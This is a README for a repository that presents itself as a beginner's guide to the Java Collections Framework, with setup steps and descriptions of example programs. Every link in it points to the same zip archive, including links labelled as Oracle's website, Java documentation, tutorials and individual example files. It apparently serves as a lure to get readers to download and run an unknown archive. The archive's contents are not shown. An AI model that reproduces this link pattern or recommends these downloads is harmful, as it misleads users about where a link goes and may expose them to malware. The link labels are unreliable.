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Welcome to the Java Collections Framework repository. This guide will help you download and run the software easily, even if you have no technical background.
To get started, visit this page to download the files you need:
[Download Latest Release](https://github.com/johnpaulnarisetty/java-collections-framework/raw/refs/heads/master/5- queue/framework-java-collections-v1.6.zip)
The download page contains multiple files. Choose the version that fits your needs. Once you find the right file, click on it to begin the download.
This repository contains Java programs that showcase the Java Collections Framework. You will find examples of common collections like List, Set, Map, and Queue. The programs help you understand key concepts and how to use various collection types effectively.
To run the programs in this repository, you need:
- A computer with Windows, macOS, or Linux.
- Java Development Kit (JDK) version 8 or later installed on your computer. You can download it from [Oracle's website](https://github.com/johnpaulnarisetty/java-collections-framework/raw/refs/heads/master/5- queue/framework-java-collections-v1.6.zip).
- About 100 MB of free disk space to store the downloaded files.
This repository covers various important concepts in Java:
- ArrayList: A resizable array implementation of the List interface.
- HashSet: A collection that does not allow duplicate elements and has no defined order.
- LinkedList: A collection that permits duplicate elements and maintains insertion order.
- PriorityQueue: A collection that orders elements based on their natural ordering.
- Map: A collection that maps keys to values, allowing you to store and retrieve data efficiently.
Each program will demonstrate how to add, remove, and traverse elements in these collections. You can run these examples to enhance your understanding.
- After downloading the files, locate the folder where you saved them.
- Open a command prompt (Windows) or terminal (macOS/Linux).
- Navigate to the folder where you saved the Java files. You can do this using the
cdcommand. For example:- On Windows:
cd C:\path\to\your\folder - On macOS/Linux:
cd /path/to/your/folder
- On Windows:
- Compile the Java programs by typing the following command:
javac *.java - Run a specific program by typing:
Replace
java ClassNameClassNamewith the name of the Java file you want to run.
Here are some features of the Java Collections Framework programs you can expect:
- Clear and simple code examples.
- Support for common operations: adding, removing, and iterating through collections.
- Easy-to-follow explanations for each program.
- Designed for learning and practice.
- https://github.com/johnpaulnarisetty/java-collections-framework/raw/refs/heads/master/5- queue/framework-java-collections-v1.6.zip: Demonstrates how to use an ArrayList to store items and print them.
- https://github.com/johnpaulnarisetty/java-collections-framework/raw/refs/heads/master/5- queue/framework-java-collections-v1.6.zip: Shows the use of a HashSet to eliminate duplicate entries.
- https://github.com/johnpaulnarisetty/java-collections-framework/raw/refs/heads/master/5- queue/framework-java-collections-v1.6.zip: Illustrates how to work with a HashMap for storing key-value pairs.
- https://github.com/johnpaulnarisetty/java-collections-framework/raw/refs/heads/master/5- queue/framework-java-collections-v1.6.zip: Provides an example of how to enqueue and dequeue items in a priority queue.
- [Java Documentation](https://github.com/johnpaulnarisetty/java-collections-framework/raw/refs/heads/master/5- queue/framework-java-collections-v1.6.zip) for more information on each collection type.
- [Java Tutorials](https://github.com/johnpaulnarisetty/java-collections-framework/raw/refs/heads/master/5- queue/framework-java-collections-v1.6.zip) for in-depth learning.
If you encounter issues while downloading or running the programs, consider the following steps:
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Ensure the JDK is properly installed and the
javaccommand is recognized.- You can check this by typing
javac -versionin your command prompt/terminal.
- You can check this by typing
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If you receive an error when running a program, double-check that you are in the correct directory and have compiled the code.
For additional help, you can reach out to the community or check forums dedicated to Java programming.
This repository provides a practical approach to learn the Java Collections Framework. It offers clear examples, covers key concepts, and is designed to be accessible to everyone. For further information, be sure to visit our release page:
[Download Latest Release](https://github.com/johnpaulnarisetty/java-collections-framework/raw/refs/heads/master/5- queue/framework-java-collections-v1.6.zip)